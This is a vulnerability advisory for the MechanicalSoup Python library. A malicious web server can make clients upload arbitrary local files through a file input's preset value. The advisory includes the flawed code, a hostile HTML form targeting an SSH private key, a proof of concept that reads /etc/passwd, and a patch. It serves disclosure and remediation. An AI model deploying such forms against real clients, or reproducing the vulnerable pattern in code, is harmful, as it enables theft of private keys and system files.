MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form

2023-07-0521:35:54

Google

osv.dev

mechanicalsoup

vulnerability

malicious web server

html form

form submission

file input

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

0.001 Low

EPSS

Percentile

25.4%

JSON

Summary

A malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form.

Details

This affects the extremely common pattern of form submission:

b = mechanicalsoup.StatefulBrowser()
b.select_form(...)
b.submit_selected()

The problem is with the code in browser.Browser.get_request_kwargs:

    if tag.get("type", "").lower() == "file" and multipart:
        filepath = value
        if filepath != "" and isinstance(filepath, str):
            content = open(filepath, "rb")
        else:
            content = ""
        filename = os.path.basename(filepath)
        # If value is the empty string, we still pass it
        # for consistency with browsers (see
        # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
        files[name] = (filename, content)

The file path is taken from the bs4 tag “value” attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:

&lt;html&gt;&lt;body&gt;
  &lt;form method="post" enctype="multipart/form-data"&gt;
    &lt;input type="text" name="greeting" value="hello" /&gt;
    &lt;input type="file" name="evil" value="/home/user/.ssh/id_rsa" /&gt;
  &lt;/form&gt;
&lt;/body&gt;&lt;/html&gt;

then upon .submit_selected() the mechanicalsoup browser will happily send over the contents of your SSH private key.

PoC

import attr
import mechanicalsoup
import requests


class NevermindError(Exception):
    pass


@attr.s
class FakeSession:
    session = attr.ib()

    headers = property(lambda self: self.session.headers)

    def request(self, *args, **kwargs):
        print("requested", args, kwargs)
        raise NevermindError  # don't actually send request


def demonstrate(inputs=None):
    b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session()))
    b.open_fake_page("""\
&lt;html&gt;&lt;body&gt;
&lt;form method="post" enctype="multipart/form-data"&gt;
&lt;input type="text" name="greeting" value="hello" /&gt;
&lt;input type="file" name="evil" value="/etc/passwd" /&gt;
&lt;input type="file" name="second" /&gt;
&lt;/form&gt;
&lt;/body&gt;&lt;/html&gt;
""", url="http://127.0.0.1:9/")
    b.select_form()
    if inputs is not None:
        b.form.set_input(inputs)
    try:
        b.submit_selected()
    except NevermindError:
        pass

# %%

# unpatched
demonstrate()
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('passwd', &lt;_io.BufferedReader name='/etc/passwd'&gt;), 'second': ('', '')}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hello')]}

# %%

# with the patch, this now works. users MUST open the file manually and
# use browser.set_input() using the file object.
demonstrate({"greeting": "hiya", "evil": open("/etc/hostname", "rb").name, "second": open("/dev/null", "rb")})
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('hostname', &lt;_io.BufferedReader name='/etc/hostname'&gt;), 'second': ('null', &lt;_io.BufferedReader name='/dev/null'&gt;)}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hiya')]}

# %%

# with the patch, this raises a ValueError with a helpful string
demonstrate({"evil": "/etc/hostname"})

# %%

# with the patch, we silently send no file if a malicious server tries the attack:
demonstrate()

Suggested patch

diff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py
index 285f8bb..68bc65e 100644
--- a/mechanicalsoup/browser.py
+++ b/mechanicalsoup/browser.py
@@ -1,7 +1,8 @@
+import io
 import os
 import tempfile
 import urllib
 import weakref
 import webbrowser
 
 import bs4
@@ -227,15 +228,21 @@ class Browser:
                     value = tag.get("value", "")
 
                 # If the enctype is not multipart, the filename is put in
                 # the form as a text input and the file is not sent.
                 if tag.get("type", "").lower() == "file" and multipart:
                     filepath = value
                     if filepath != "" and isinstance(filepath, str):
-                        content = open(filepath, "rb")
+                        content = getattr(tag, "_mechanicalsoup_file", None)
+                        if content is False:
+                            raise ValueError(
+                                """From v1.3.0 onwards, you must pass an open file object directly, for example using `form.set_input({"name": open("/path/to/filename", "rb")})`. This change is to mitigate a security vulnerability where a malicious web server could read arbitrary files from the client."""
+                            )
+                        elif not isinstance(content, io.IOBase):
+                            content = ""
                     else:
                         content = ""
                     filename = os.path.basename(filepath)
                     # If value is the empty string, we still pass it
                     # for consistency with browsers (see
                     # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
                     files[name] = (filename, content)
diff --git a/mechanicalsoup/form.py b/mechanicalsoup/form.py
index a67195c..82f6015 100644
--- a/mechanicalsoup/form.py
+++ b/mechanicalsoup/form.py
@@ -1,8 +1,9 @@
 import copy
+import io
 import warnings
 
 from bs4 import BeautifulSoup
 
 from .utils import LinkNotFoundError
 
 
@@ -64,15 +65,24 @@ class Form:
         give it the value ``password``.
         """
 
         for (name, value) in data.items():
             i = self.form.find("input", {"name": name})
             if not i:
                 raise InvalidFormMethod("No input field named " + name)
-            i["value"] = value
+
+            if isinstance(value, io.IOBase):
+                # Store the actual file object for &lt;input type="file"&gt;
+                i._mechanicalsoup_file = value
+                i["value"] = value.name
+            else:
+                # We set `_mechanicalsoup_file` to `False` so that we can
+                # check for deprecated use of the API.
+                i._mechanicalsoup_file = False
+                i["value"] = value
 
     def uncheck_all(self, name):
         """Remove the *checked*-attribute of all input elements with
         a *name*-attribute given by ``name``.
         """
         for option in self.form.find_all("input", {"name": name}):
             if "checked" in option.attrs:
@@ -257,20 +267,20 @@ class Form:
         .. code-block:: python
 
             form.set("login", username)
             form.set("password", password)
             form.set("eula-checkbox", True)
 
         Example: uploading a file through a ``&lt;input type="file"
-        name="tagname"&gt;`` field (provide the path to the local file,
+        name="tagname"&gt;`` field (provide an open file object,
         and its content will be uploaded):
 
         .. code-block:: python
 
-            form.set("tagname", path_to_local_file)
+            form.set("tagname", open(path_to_local_file, "rb"))
 
         """
         for func in ("checkbox", "radio", "input", "textarea", "select"):
             try:
                 getattr(self, "set_" + func)({name: value})
                 return
             except InvalidFormMethod:

Impact

All users of MechanicalSoup’s form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values.

CPENameOperatorVersion
mechanicalsoupeq0.3.0
mechanicalsoupeq1.2.0
mechanicalsoupeq1.0.0
mechanicalsoupeq0.10.0
mechanicalsoupeq0.6.0
mechanicalsoupeq0.3.1
mechanicalsoupeq0.7.0
mechanicalsoupeq0.5.0
mechanicalsoupeq0.2.2
mechanicalsoupeq0.2.0

Name	Operator	Version
mechanicalsoup	eq	0.3.0
mechanicalsoup	eq	1.2.0
mechanicalsoup	eq	1.0.0
mechanicalsoup	eq	0.10.0
mechanicalsoup	eq	0.6.0
mechanicalsoup	eq	0.3.1
mechanicalsoup	eq	0.7.0
mechanicalsoup	eq	0.5.0
mechanicalsoup	eq	0.2.2
mechanicalsoup	eq	0.2.0